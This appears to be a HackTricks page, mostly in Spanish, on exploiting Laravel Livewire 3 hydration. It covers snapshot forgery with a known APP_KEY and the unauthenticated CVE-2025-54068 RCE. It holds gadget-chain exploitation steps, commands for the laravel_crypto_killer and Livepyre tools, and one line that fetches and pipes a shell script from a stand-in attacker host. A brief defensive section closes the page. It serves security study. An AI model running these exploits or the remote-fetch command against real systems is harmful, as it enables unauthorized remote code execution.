Laravel Livewire Hydration & Synthesizer Abuse
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Resumen de la máquina de estados de Livewire
Los componentes de Livewire 3 intercambian su estado mediante instantáneas (snapshots) que contienen data, memo y un checksum. Cada POST a /livewire/update rehidrata la instantánea JSON en el servidor y ejecuta las calls/updates en cola.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Cualquiera que posea APP_KEY (usada para derivar $hashKey) puede, por tanto, falsificar snapshots arbitrarios recomputando el HMAC.
Las propiedades complejas se codifican como synthetic tuples detectadas por Livewire\Drawer\BaseUtils::isSyntheticTuple(); cada tuple es [value, {"s":"<key>", ...meta}]. El núcleo de hydration simplemente delega cada tuple al synth seleccionado en HandleComponents::$propertySynthesizers y recorre recursivamente los hijos:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Este diseño recursivo convierte a Livewire en un motor genérico de instanciación de objetos una vez que un atacante controla ya sea los metadatos del tuple o cualquier tuple anidado procesado durante la recursión.
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple. |
FormObjectSynth (form) | Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties. |
ModelSynth (mdl) | When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control. |
Porque los synths invocan $hydrateChild en cada elemento anidado, se pueden construir grafos de gadgets arbitrarios apilando tuples de forma recursiva.
Forging snapshots when APP_KEY is known
- Capture a legitimate
/livewire/updaterequest and decodecomponents[0].snapshot. - Inject nested tuples that point to gadget classes and recompute
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode the snapshot, keep
_token/memountouched, and replay the request.
Una prueba mínima de ejecución usa Guzzle’s FnStream y Flysystem’s ShardedPrefixPublicUrlGenerator. Un tuple instancia FnStream con datos de constructor { "__toString": "phpinfo" }, el siguiente instancia ShardedPrefixPublicUrlGenerator con [FnStreamInstance] como $prefixes. Cuando Flysystem castea cada prefijo a string, PHP invoca el callable __toString proporcionado por el atacante, ejecutando cualquier función sin argumentos.
From function calls to full RCE
Aprovechando las primitivas de instanciación de Livewire, Synacktiv adaptó la cadena Laravel/RCE4 de phpggc para que la hidratación arranque un objeto cuyo estado público Queueable desencadena deserialización:
- Queueable trait – cualquier objeto que use
Illuminate\Bus\Queueableexpone el público$chainedy ejecutaunserialize(array_shift($this->chained))endispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) se instancia víaCollectionSynth/FormObjectSynthcon$chainedpúblico poblado. - phpggc Laravel/RCE4Adapted – el blob serializado almacenado en
$chained[0]construyePendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()finalmente llama acall_user_func_array($closure, $args)permitiendosystem($cmd). - Stealth termination – entregando un segundo callable
FnStreamcomo[new Laravel\Prompts\Terminal(), 'exit'], la petición termina conexit()en lugar de una excepción ruidosa, manteniendo la respuesta HTTP limpia.
Automating snapshot forgery
synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
La herramienta analiza la snapshot capturada, inyecta los gadget tuples, recalcula el checksum e imprime una payload lista para enviar a /livewire/update.
CVE-2025-54068 – RCE sin APP_KEY
Según el aviso del proveedor, el problema afecta a Livewire v3 (>= 3.0.0-beta.1 y < 3.6.3) y es exclusivo de v3.
updates se fusionan en el estado del componente después de que se valida el checksum de la snapshot. Si una propiedad dentro de la snapshot es (o se convierte en) un synthetic tuple, Livewire reutiliza su meta mientras hidrata el valor de update controlado por el atacante:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Receta de explotación:
- Encuentra un componente Livewire con una propiedad pública sin tipo (por ejemplo,
public $count;). - Envía un update que establezca esa propiedad en
[]. El siguiente snapshot ahora la almacena como[[], {"s": "arr"}].
Un flujo mínimo de type-juggling se ve así:
POST /livewire/update
...
"updates": {"count": []}
Entonces el siguiente snapshot almacena una tupla que mantiene los metadatos del sintetizador arr:
"count": [[], {"s": "arr"}]
- Crea otro payload de
updatesdonde esa propiedad contenga un array profundamente anidado que inserte tuplas como[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Durante la recursión,
hydrate()evalúa cada hijo anidado de forma independiente, por lo que las synth keys/classes elegidas por el atacante se respetan aunque la tupla exterior y el checksum nunca cambien. - Reutiliza las mismas primitivas
CollectionSynth/FormObjectSynthpara instanciar un gadget Queueable cuyo$chained[0]contiene el payload phpggc. Livewire procesa los updates forjados, invocadispatchNextJobInChain()y alcanzasystem(<cmd>)sin conocer elAPP_KEY.
Razones clave por las que esto funciona:
updatesno están cubiertos por el checksum del snapshot.getMetaForPath()confía en cualquier synth metadata que ya existiera para esa propiedad, incluso si el atacante previamente la forzó a convertirse en una tupla mediante weak typing.- La recursión más weak typing permite que cada array anidado sea interpretado como una nueva tupla, de modo que synth keys arbitrarias y clases arbitrarias finalmente llegan a la hydration.
Livepyre – explotación de extremo a extremo
Livepyre automatiza tanto la CVE que funciona sin APP_KEY como la vía de snapshot firmado:
- Identifica la versión de Livewire desplegada analizando
<script src="/livewire/livewire.js?id=HASH">y mapeando el hash a releases vulnerables. - Recopila snapshots base reejecutando acciones benignas y extrayendo
components[].snapshot. - Genera o bien un payload solo de
updates(CVE-2025-54068) o un snapshot forjado (APP_KEY conocido) que inserta la cadena phpggc. - Si no se encuentra ningún parámetro tipado como object en un snapshot, Livepyre recurre a brute-forcing de parámetros candidatos para alcanzar una propiedad coercible.
Uso típico:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check ejecuta una sondeo no destructivo, -F omite el version gating, -H y -P añaden cabeceras o proxies personalizados, y --function/--param personaliza la función php invocada por la gadget chain.
Consideraciones defensivas
- Actualice a versiones de Livewire corregidas (>= 3.6.4 según el boletín del proveedor) y despliegue el parche del proveedor para CVE-2025-54068.
- Evite propiedades públicas de tipado débil en los componentes de Livewire; los tipos escalares explícitos evitan que los valores de propiedad sean coaccionados a arrays/tuples.
- Register only the synthesizers you truly need and treat user-controlled metadata (
$meta['class']) as untrusted. - Rechace actualizaciones que cambien el tipo JSON de una propiedad (e.g., scalar -> array) a menos que estén explícitamente permitidas, y re-derive synth metadata en lugar de reutilizar tuples obsoletas.
- Rotee
APP_KEYinmediatamente tras cualquier disclosure porque permite snapshot forging offline sin importar cuán parcheada esté la base de código.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


